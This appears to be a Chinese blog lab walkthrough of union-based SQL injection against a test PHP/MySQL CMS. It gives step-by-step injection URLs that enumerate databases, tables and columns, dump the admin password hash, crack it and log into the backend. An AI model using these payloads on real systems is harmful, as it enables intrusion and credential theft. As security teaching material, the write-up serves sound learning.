• SQL注入之PHP+Mysql


    PHP+Mysql(GET方法+数值型+有错误回显)的注入方法

    目标系统:PHP+MYSQL(GET方法+数值型+有错误信息)

    环境说明:

    后台地址:http://ip/cms/admin/login.php
    漏洞URL:http://ip/cms/show.php?id=35

    引发漏洞文件:

    shop.php和common.function.php

    漏洞成因:
    直接将URL传入的参数值与sql语句拼接,没有对传入参数进行任何过滤,导致sql注入漏洞。

    操作步骤:

    步骤1

    操作:打开任意新闻的URL,如

    http://ip/cms/show.php?id=35

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 

    步骤2

    目的:判断注入点,看到有id=的参数就想到可能有注入点

    操作1:在URL后添加“’”测试是否存在SQL注入,报错证明有SQL注入。

    实验现象截图:

    根据错误信息判断应该是mysql数据库

    http://192.168.1.9/cms/show.php?id=35'

    http://192.168.1.9/cms/show.php?id=35 and 1=1

    http://192.168.1.9/cms/show.php?id=35 and 1=2

    步骤3 判断字段长度:
    目的: 判断字段长度
    操作:利用order by N,从数字1开始替代N,直到返回错误页面,判断字段长度为错误页面的N-1,也就是最后一个正常页面返回。

    http://192.168.1.9/cms/show.php?id=35%20order%20by%2016

    实验现象截图:

    字段长度15

    步骤4 判断字段位置回显:

    目的:判断字段位置回显

    操作:利用and 1=2 union select 1,2,3,4,5,……,15,最后一个数为字段长度,有回显会将相应数字显示出来。从下图可知,3和11的位置可以回显信息。

    http://ip/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

     

    步骤5判断数据库信息:

    目的:判断数据库信息

    操作:利用and 1=2 union select 1,2,sql_command,4,5,6,7,8,9,10,11,12,13,14,15,用sql指令替换sql_command。如:and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15这个语句是查看版本的。

    database()查看数据库;查看当前用户user()

    http://ip/cms/show.php?id=35%20and%201=2%20union%20select%201,2,version(),4,5,6,7,8,9,10,11,12,13,14,15

    实验现象截图:

    http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,database(),12,13,14,15

    步骤6判断mysql所有数据库名称:

    目的:判断mysql所有数据库名称

    操作:利用and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.SCHEMATA,查看mysql中所有数据库的名称。可知业务数据库为cms。

     

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(SCHEMA_NAME using latin1),4,5,6,7,8,9,10,11,12,13,14,15 from 
    information_schema.SCHEMATA

    关键列:pass、name

    步骤7判断数据库表名称:

    目的: 判断数据库表名称

    操作:利用and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database(),查看cms数据库拥有的所有表。可以发现存放用户信息的表cms_users。

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(table_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from 
    information_schema.tables where table_schema=database()

    步骤8判断数据表的所有列列名:

    目的:判断数据表的所有列列名

    操作:利用and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_name=0x636D735F7573657273。

    table_name=cms_users,表名需要编码为16进制。得到3个列:userid,username和password

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(column_name using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from 
    information_schema.columns where table_schema=database() and table_name=0x636D735F7573657273

      

    步骤9  判断管理员账号密码:

    目的:判断管理员账号密码

    操作:利用and 1=2 union select 1,2,concat_ws(0x2b,userid,username,password),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users。得到管理员账号密码为:admin/e10adc3949ba59abbe56e057f20f883e

    实验现象截图:

    http://192.168.1.9/cms/show.php?id=35 and 1=2 union select 1,2,group_concat(convert(username using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

    http://192.168.1.9/cmsshow.php?id=35 and 1=2 union select 1,2,group_concat(convert(password using latin1)),4,5,6,7,8,9,10,11,12,13,14,15 from cms.cms_users

    步骤10 破解密码

    目的: 破解密码

    操作:登录md5.com解密

    实验现象截图:

    步骤11 登录后台:使用admin/123456登录后台
    目的: 登录后台

    操作:登录http://192.168.1.9/cms/admin/login.php

    实验现象截图:

    2018-11-22 21:01:08 byskkip

  • 相关阅读:
    函数、包和错误处理
    程序流程控制
    poj 2515 Birthday Cake
    poj 2094 多项式求和。
    hdu 3625 第一类striling 数
    hdu 4372 第一类stirling数的应用/。。。好题
    poj 1845 Sumdiv
    hdu 3641 Treasure Hunting 强大的二分
    poj 3335 /poj 3130/ poj 1474 半平面交 判断核是否存在 / poj1279 半平面交 求核的面积
    hdu 2841 Visible Trees
  • 原文地址:https://www.cnblogs.com/skkip/p/10003903.html
Copyright © 2020-2023  润新知